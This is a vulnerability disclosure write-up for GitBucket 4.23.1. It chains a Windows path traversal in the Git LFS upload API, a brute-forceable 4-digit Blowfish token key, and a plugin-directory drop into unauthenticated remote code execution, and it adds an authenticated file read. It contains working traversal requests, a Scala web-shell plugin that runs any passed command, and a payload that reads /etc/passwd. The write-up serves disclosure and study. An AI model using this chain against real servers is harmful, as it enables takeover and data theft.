GitBucket 4.23.1 Unauthenticated Remote Code Execution

Homepage:

https://github.com/gitbucket/gitbucket

Description:

Introduction

TL;DR: GitBucket Unauthenticated Remote Code Execution working when server is installed on Windows and authenticated arbitrary file read working on every platform.

This document is also available on GitHub.

[PL] Wyjaśnienia te są również dostępne w formie filmu na YouTube: PKIdGnx1KIg

Table of contents

Unrestricted file upload

Inside GitLfsTransferServlet class getLfsFilePath output is passed directly to Java new File function.

  override protected def doPut(req: HttpServletRequest, res: HttpServletResponse): Unit = {
    for {
      (owner, repository, oid) <- getPathInfo(req, res) if checkToken(req, oid)
    } yield {
      val file = new File(FileUtil.getLfsFilePath(owner, repository, oid))
      FileUtils.forceMkdir(file.getParentFile)
      using(req.getInputStream, new FileOutputStream(file)) { (in, out) =>
        IOUtils.copy(in, out)
      }
      res.setStatus(HttpStatus.SC_OK)
    }
  }

Oid value is obtained using getPathInfo function.

private def getPathInfo(req: HttpServletRequest, res: HttpServletResponse): Option[(String, String, String)] = {
    req.getRequestURI.substring(1).split("/").reverse match {
      case Array(oid, repository, owner, _*) => Some((owner, repository, oid))
      case _                                 => None
    }
  }

URL address is split using / and then last 3 parts are treated as: owner, repository and oid.

But there is one problem here.

On Windows it’s possible to change directories using \ (backslash), i.e. : cd c:\temp\some_dir.

In this table there is requested URL address and owner, repository and oid value:

URL <- gitbucket/KACPER/EXPLOITS/STH

owner = KACPER
repository = EXPLOITS
oid = STH

URL <- gitbucket/KACPER/EXPLOITS/../STH

owner = EXPLOITS
repository = ..
oid = STH

URL <- gitbucket/KACPER/EXPLOITS/../../STH

owner = ..
repository = ..
oid = STH

Normally, it’s possible to do path traversal attack using ../.

Because getPathInfo splits string using / character, oid value will never have /.

Situation is little different with \:

URL <- gitbucket/KACPER/EXPLOITS/STH\..\

owner = KACPER
repository = EXPLOITS
oid = STH\..\

URL <- gitbucket/KACPER/EXPLOITS/..\..\STH

owner = KACPER
repository = EXPLOITS
oid = ..\..\STH

Now oid can contain ..\ string.

That’s the reason why this exploit works only when GitBucket is running on Windows.

oid value is important because it’s used inside getLfsFilePath:

  def getLfsFilePath(owner: String, repository: String, oid: String): String =
    Directory.getLfsDir(owner, repository) + "/" + oid

There isn’t any validation here:

new File(FileUtil.getLfsFilePath("owner", "repository", "..\..\STH"))

Basically Java process is reading this file:

.gitbucket\repositories\owner\repository\lfs\..\..\STH

which really means:

.gitbucket\repositories\owner\..\..\STH

Using this bug it’s possible to upload any file to any directory through Git LFS Api.

Example request for sending c:\temp\test.txt file:

POST /git/root/test.git/info/lfs/objects/batch HTTP/1.1
Host: localhost:8080
Accept: application/vnd.git-lfs+json
Content-Type: application/vnd.git-lfs+json
User-Agent: a-git-
Authorization: Basic cm9vdDpyb290
Connection: close
Content-Length: 171

{
  "operation": "upload",
  "transfers": [ "basic" ],
  "objects": [
    {
      "oid": "..\\..\\..\\..\\..\\..\\..\\temp\\test.txt",
      "size": 6
    }
  ]
}

Server returns:

{
  "transfer": "basic",
  "objects": [
    {
      "oid": "..\\..\\..\\..\\..\\..\\..\\temp\\test.txt",
      "size": 6,
      "authenticated": true,
      "actions": {
        "upload": {
          "href": "http://192.168.88.101:8080/git-lfs/root/test/..\\..\\..\\..\\..\\..\\..\\temp\\test.txt",
          "header": {
            "Authorization": "NWgUKL2c2Ixmq/HfUNhlQw+1ZwIk/cAa+CuOTNl7FeYy1dDPZ5tphprsGRGQHMcrGh7wqCH55P0="
          },
          "expires_at": "2018-05-13T16:06:27Z"
        }
      }
    }
  ]
}

PUT request requires proper href obtained from server and correct Authorization header:

PUT /git-lfs/root/test/..\..\..\..\..\..\..\temp\test.txt HTTP/1.1
Host: localhost:8080
Accept: application/vnd.git-lfs+json
Content-Type: application/vnd.git-lfs+json
User-Agent: my-git-agent
Authorization: NWgUKL2c2Ixmq/HfUNhlQw+1ZwIk/cAa+CuOTNl7FeYy1dDPZ5tphprsGRGQHMcrGh7wqCH55P0=
Connection: close
Content-Length: 7

exploit

Server returns:

HTTP/1.1 200 OK
Connection: close
Date: Sun, 13 May 2018 15:56:59 GMT

File is successfully created inside c:\temp\test.txt.

Authenticated RCE

It’s possible to upload any file with any extension to any location. How convert this to RCE?

GitBucket can be extended using plugins.

Plugin installation is really simple. User needs to copy plugin .jar file to plugins directory.

Then server automatically installs and activates given extension.

It works that way because internally GitBucket watches for any change inside plugins directory using PluginWatchThread class.

On GitHub there is example extension available for download.

For compilation, sbt is needed.

SBT

More details about sbt can be found here. In a few words it’s a build tool for Scala projects.

On Ubuntu it’s possible to install it using:

sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java8-installer
sudo curl -Ls https://git.io/sbt > /bin/sbt && chmod 0755 /bin/sbt

After installation example extension needs to be downloaded:

wget https://github.com/gitbucket/gitbucket-plugin-template/archive/master.zip
unzip master.zip

HelloWorldController.scala with exploit code:

package io.github.gitbucket.helloworld.controller
import gitbucket.core.controller.ControllerBase
import sys.process._
class HelloWorldController extends ControllerBase {
  get("/exploit"){
    val command = request.getParameter("command").!!
    command
  }
} 

In Scala when variable ends with !! it’s passed directly to system function.

After plugin installation it’s possible to execute any system command on vulnerable server using:

http://gitbucket-url:8080/exploit?command=ipconfig

Unauthenticated RCE

How make this exploit unauthenticated?

Each lfs request requires proper Authorization header.

It’s checked inside checkToken function:

  private def checkToken(req: HttpServletRequest, oid: String): Boolean = {
    val token = req.getHeader("Authorization")
    if (token != null) {
      val Array(expireAt, targetOid) = StringUtil.decodeBlowfish(token).split(" ")
      oid == targetOid && expireAt.toLong > System.currentTimeMillis
    } else {
      false
    }
  }

Token consists of two parts. First is expiration date so server knows if request is valid at specific point in time.

Second is oid of file which is sent.

Because of that it’s not possible to send two files in two different locations using the same token value.

Token is encoded using Blowfish and base64:

  def decodeBlowfish(value: String): String = {
    val spec = new javax.crypto.spec.SecretKeySpec(BlowfishKey.getBytes(), "Blowfish")
    val cipher = javax.crypto.Cipher.getInstance("Blowfish")
    cipher.init(javax.crypto.Cipher.DECRYPT_MODE, spec)
    new String(cipher.doFinal(Base64.getDecoder.decode(value)), "UTF-8")
  }

For decryption BlowfishKey variable is used.

private lazy val BlowfishKey = {
    // last 4 numbers in current timestamp
    val time = System.currentTimeMillis.toString
    time.substring(time.length - 4)
  }

It’s only 4 digits length. Because of that there is only 10 000 combinations to check.

From 0000 to 9999. It’s great example for brute force attack.

Key brute force

Idea is quite simple. Send 10 000 request with crafted token.

Token format:

unix_timestamp_from_future some_non_existing_oid

Each time this payload needs to be encrypted using different Blowfish key, from 0000 to 9999.

When server responds with status code different than 500 it means that the key is valid.

This key can be used together with Unrestricted file upload bug in order to get unauthenticated remote code execution.

Bonus

As a bonus: authenticated arbitrary file read.

GitBucket allows user to send file via upload form.

Then those files are commited to the repository:

case class CommitFile(id: String, name: String)

post("/:owner/:repository/upload", uploadForm)(writableUsersOnly { (form, repository) =>
    val files = form.uploadFiles.split("\n").map { line =>
      val i = line.indexOf(':')
      CommitFile(line.substring(0, i).trim, line.substring(i + 1).trim)
    }

    commitFiles(
      repository = repository,
      branch = form.branch,
      path = form.path,
      files = files,
      message = form.message.getOrElse("Add files via upload")
    )

    if (form.path.length == 0) {
      redirect(s"/${repository.owner}/${repository.name}/tree/${form.branch}")
    } else {
      redirect(s"/${repository.owner}/${repository.name}/tree/${form.branch}/${form.path}")
    }
  })

uploadFiles structure:

path_to_file_1:file_1_name\n
path_to_file_2:file_2_name\n
path_to_file_3:file_3_name\n

First part before : is id, second name. Those values are passed to commitFiles function:

  private def commitFiles(
    repository: RepositoryService.RepositoryInfo,
    files: Seq[CommitFile],
    branch: String,
    path: String,
    message: String
  ) = {
    // prepend path to the filename
    val newFiles = files.map { file =>
      file.copy(name = if (path.length == 0) file.name else s"${path}/${file.name}")
    }

    _commitFile(repository, branch, message) {
      case (git, headTip, builder, inserter) =>
        JGitUtil.processTree(git, headTip) { (path, tree) =>
          if (!newFiles.exists(_.name.contains(path))) {
            builder.add(JGitUtil.createDirCacheEntry(path, tree.getEntryFileMode, tree.getEntryObjectId))
          }
        }

        newFiles.foreach { file =>
          val bytes = FileUtils.readFileToByteArray(new File(getTemporaryDir(session.getId), file.id))
          builder.add(
            JGitUtil.createDirCacheEntry(file.name, FileMode.REGULAR_FILE, inserter.insert(Constants.OBJ_BLOB, bytes))
          )
          builder.finish()
        }
    }
  }

file.id is combined with getTemporaryDir(session.getId) and passed directly to new File().

Again there’s no verification here.

When user sends:

/../../../../../../../etc/passwd:exploit.txt

bytes value will be:

val bytes = FileUtils.readFileToByteArray(new File(getTemporaryDir(session.getId), "/../../../../../../../etc/passwd"))

Then, exploit.txt file will be create inside user repository.

It will have content of etc/passwd file.

It can be read using:

http://gitbucket-url/username/repository/raw/master/exploit.txt

POC

Unauthenticated RCE Windows

Authenticated arbitrary file read

Timeline: